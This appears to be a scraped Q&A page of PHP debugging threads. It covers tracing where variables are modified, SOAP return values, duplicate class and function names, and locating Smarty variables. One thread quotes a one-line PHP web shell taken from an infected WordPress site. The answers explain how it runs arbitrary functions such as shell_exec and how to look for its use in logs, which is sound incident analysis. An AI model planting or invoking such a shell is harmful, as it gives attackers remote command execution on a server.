Find function and line number where variable gets modified - php

Let's say that at the beginning of a random function variable $variables['content'] is 1,000 characters long.
This random function is very long, with many nested functions within.
At the end of the function $variables['content'] is only 20 characters long.
How do you find which of nested functions modified this variable?

Not sure how you'd want to return it but you could use the magic constant __LINE__. That returns the line of the current document.
You could create a variable called $variables['line'] and assign __LINE__ as the value, where appropriate.

If it were me, first I'd consider breaking apart the 1000-line beast. There's probably no good reason for it to be so huge. Yes, it'll take longer than just trying to monkey-patch your current bug, but you'll probably find dozens more bugs in that function just trying to break it apart.
Lecture over, I'd do a search/replace for $variables['content'].*=([^;]*); to a method call like this: $variables['content'] = hello(\1, __LINE__);. This will fail if you are assigning strings with semicolons in them or something similar, so make sure you inspect every change carefully. Write a hello() function that takes two parameters: whatever it is you're assigning to $variables['content'] and the line number. In hello(), simply print your line number to the log or standard error or whatever is most convenient, and then return the first argument unchanged.
When you're done fixing it all up, you can either remove all those silly logging functions, or you can see if 'setting the $variables['content'] action' is important enough to have its own function that does something useful. Refactoring can start small. :)

I think this is a problem code tracing can help with.
In my case I had this variable that was being modified across many functions, and I didn't know where.
The problem is that at some point in the program the variable (a string) was around 40,000 characters, then at the end of the program something had cut it to 20 characters.
To find this information I stepped through the code with the Zend debugger. I found the information I wanted (what functions modified the variable), but it took me a while.
Apparently XDebug does tell you what line numbers, in what functions the variables are modified:
Example, tracing documentation, project home, tutorial article.

Related

What does this line of PHP code do?

I extracted this from a wordpress-site, that happened to be infected and gets cleaned up by me.
<?php ($_=#$_GET[page]).#$_($_POST[404]);?>
I suspect this line to be SEO spam, but I am not able to get the meaning of this line.
It's a PHP shell. If you rewrite it to the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
PS: That was answered before here
Let's break this up a little bit:
($_=#$_GET[page]) . #$_($_POST[404]); First, this is two expressions being concatenated with the period: () . ().
In the first expression, $_ = $_GET[page], $_ is a variable, and is being assigned = to the variable $_GET['page'], or perhaps the output of an anonymous function it references. If $_GET[page] does reference an anonymous function, the # would be suppressing any errors from it.
The second expression, # $_( $_POST[404] ); is starting off with error suppression # of the anonymous function $_, which you can tell now is an anonymous function being called because it's followed by (. The argument passed to this function is $_POST['404'], and then the second parentheses just closes the call.
So I think your suspicions are correct; this looks like obfuscated code intended to look innocuous or part of the site. I suspect that the values for $_GET[page] and $_POST[404] are perhaps javascript strings whose echoing on the page would install malware or adware.
You can debug this more by looking at the values of those two variables and seeing what they are.
As best I can tell without knowing the values in GET and POST, it looks like the variable $_ is being assigned to the string $_GET[page], which would be whatever someone submits in the URL when they load the page. So, they are able to pass the string name of any function to the site and have it in PHP's scope.
Then, they are running that arbitrary function on the $_POST['404'] value. That value also is whatever the browser or user POSTs to the page.
The concatenation and outer parenthesis ().() might just be more obfuscation, or the point of this code might be to simply echo the results of this code on the page (to inject javascript) for example. But, it's also possible they are calling whatever function they want on whatever argument they've passed. I can't tell just by looking, but someone more conversant with PHP probably could.

Stored value from soap __getLastRequest() echos but won't register in array

I've got a problem that seems particularly odd (to me at least). So I'm using a soap API to interact with a program that (among other things) creates user groups and assigns users to them. I need to create a group and then assign a user to it using two different soap functions; this requires me to store the returned variable from one soap api call and input it into the next (see below).
$value = $SOAP->addOrganisation($params);
$group=$SOAP->__getLastResponse();
echo "<br/>Group: ".$group."<br/>";
$params=array('SID'=>$sid, 'user_id'=>$user, 'organisation_id'=>$group, 'insertedby'=>1);
$value= $SOAP->addUserToOrganisation($params);
Straight-forward right?
But here's where it gets interesting: the variable $group echos what I'm expecting but seems not to work in the soap call addUserToOrganisation. The returned value says that it ran fine, however addUserToOrganisation doesn't end up carrying out its task (actually adding the user to the group).
Conjectures anticipated: (Stuff I've already guessed at)
Maybe it's a glitch in the function addUserToOrganisation?
That would make sense and I thought the same. However when I hard-coded a number in there (even when it was the exact same number the variable would have echoed), it works just fine.
Maybe the API doesn't play nicely with variables in that spot in the array?
I actually reset the variable manually with a number (see below) and it worked no problem.
$value = $SOAP->addOrganisation($params);
$group=$SOAP->__getLastResponse();
echo "<br/>Group: ".$group."<br/>";
$group=55;
echo "<br/>Group: ".$group."<br/>";
$params=array('SID'=>$sid, 'user_id'=>$user, 'organisation_id'=>$group, 'insertedby'=>1);
$value= $SOAP->addUserToOrganisation($params);
Any stray spaces attached to that variable?
None that I can see.
...Maybe you pissed off the gnomes inside your computer that make it work?
Quite possibly but they've put up with my abuse for so long, why the sudden uprising?
My best guess: As far as I can tell, there just seems that there is something inherently unacceptable about using the output of __getLastRequest(), even though it just looks like a regular old number when echoed. I don't know if not all strings are equal or something but if any of you have an idea, I'd really appreciate it.
(just watch, it turns out to somehow be some dumb syntax error)
Anyway, thanks in advance

Identical function and class names in PHP

Are there any circumstances where identically named classes and functions in PHP, could collide or cause problems in any way? For example:
function Foobar(){
// ...
}
class Foobar{
// ...
}
Cursory testing shows that PHP can discern between them based on context.
No, they never collide. But:
Do not do it.
You will confuse everyone if you do so, because I would not expect there to be a function and a class of the same name. Many don't even know it's legal to do so.
When I see an upper case name In PHP (first letter), I assume it is a class. If you put () around it, I will know it's a function. But I wouldn't assume that there is a class of the same name. All you do is confuse people. Some might assume: "Cool, I didn't know you could omit new". I don't know what your intents are, but if it's to get rid of the new keyword - and only that - it's very bad. I will assume you do more than just that, and will go check what that function actually does, and I'll get angry if I find out it does nothing except returning a new instance without doing anything... I just wasted my time looking up a function that does... nothing.

Find code line or file where php parameter is set

I have an old application witch pops up an error at a certain location. The error is about an wrong set variable. Only from the error it is not possible to find the location where the variable is set wrong. Now my idea is to use reflections to find the location.
Is it possible to use reflections to find the code position at which a variable gets a certain value?
The idea: I have the name and the value of the variable. Now if both are matching a certain event should be triggered and echo the actual parsed file and line number.
Every ideas that help are appreciated.
Thank you,
-lony
P.S.: Is it possible even if the application is not really object oriented and uses a lot of spaghetti code?
I would be you do a debug_backtrace at the point where the error occurs and try to exploit the stack trace to see where the variable is changed. The debug_backtrace would give you a list of file included after it should be fairly easy to filter a list of line with a global search (i.e. grep)
var_dump(debug_backtrace())
if (variable == value) {
echo "variable equals value, line #whatever"+"<br/>";
}
Just place these at various points in code and see which ones display. Manually enter line numbers.
I found a solution to one of my problems.
The function debug_print_backtrace helped me finally debugging my spaghetti code. I found it by reading this post.
-Cheers

Find where a variable is defined in PHP (And/or SMARTY)?

I'm currently working on a very large project, and am under a lot of pressure to finish it soon, and I'm having a serious problem. The programmer who wrote this last defined variables in a very odd way - the config variables aren't all in the same file, they're spread out across the entire project of over 500 files and 100k+ lines of code, and I'm having a hell of a time figuring out where a certain variable is, so I can fix an issue.
Is there a way to track this variable down? I believe he's using SMARTY (Which I can not stand, due to issues like this), and the variable is a template variable. I'm fairly sure that the variable I'm looking for was initially defined as a PHP variable, then that variable is passed into SMARTY, so I'd like to track down the PHP one, however if that's impossible - how can I track down where he defined the variable for SMARTY?
P.S. I'm in Vista, and don't have ssh access to the server, so 'grep' is out of the question.
Brute force way, because sometimes smarty variables are not directly assigned, but their names can be stored in variables, concatenated from many strings or be result of some functions, that makes it impossible to find in files by simply searching / greping.
Firstly, write your own function to print readable backtrace, ie:
function print_backtrace()
{
$backtrace = debug_backtrace(FALSE);
foreach($backtrace as $trace)
echo "{$trace['file']} :: {$trace['line']}<br>";
}
Open main smarty file (Smarty.class.php by default) and around line 580 there is function called assign. Modify it to watch for desired variable name:
function assign($tpl_var, $value = null)
{
if($tpl_var == 'FOOBAR') /* Searching for FOOBAR */
{
print_backtrace();
exit;
}
The same modification may be required for second function - assign_by_ref. Now after running script you should have output like that:
D:\www\test_proj\libs\smarty\Smarty.class.php :: 584
D:\www\test_proj\classes.php :: 11
D:\www\test_proj\classes.php :: 6
D:\www\test_proj\functions.php :: 7
D:\www\test_proj\index.php :: 100
Second line points to the place where variable was first assigned.
This sort of thing is the #1 reason I install Cygwin on all my windows machines.
grep myvariablename `find project_dir -name "*.php"`
I can't imagine programming without a working grep.
There is an interesting further option, ugly like hell but helpful if you are really lost.
If you would like to know where THE_NAME was defined, write lines like these on a place you are sure is run first:
error_reporting(E_ALL);
define('THE_NAME', 'Chuck Norris');
If later PHP will run the definition you are looking for, it will write a notice like this:
Notice: Constant THE_NAME already defined
in /home/there/can-rip-a-page-out-of-facebook.com/SomeConfiguration.php on line 89
Then you know that the definition you are looking for is in the file SomeConfiguration.php on line 89.
To have this working, you must consider
if there are HTTP forwards in the framework on the way to the code you set in
if there are further commands setting the PHP error reporting mode
So sometimes it helps to add some exit('here') in order not to blur the output. Maybe you have to narrow down a bit or you have to set error_reporting earlier, but you'll find it.
It's not a perfect solution, but I find agent ransack useful for searching large directories and files. Might help you narrow things down. The search results will allow you to read the exact line it finds a match on in the result pane.
If you use the netbeans editor just "right click" -> "go to Definition"
Or ctrl + click on the variable.
If the editor can't figure it out, you could fallback to the "Find in files" option.
Just use one of the available PHP IDEs (or a simple text editor like Notepad++ if you're really desperate) and search for the name of the variable in all source files (most PHP IDEs also support finding where functions/vars were defined and allow you to jump to the relevant piece of code). Though it seems weird that you don't know what piece of code calls the template (whether it's Smarty or anything else doesn't really matter). You should be able to drill down in the code starting from the URI (using any IDE which supports debugging), because that way you're bound to see where said variable is defined.

Categories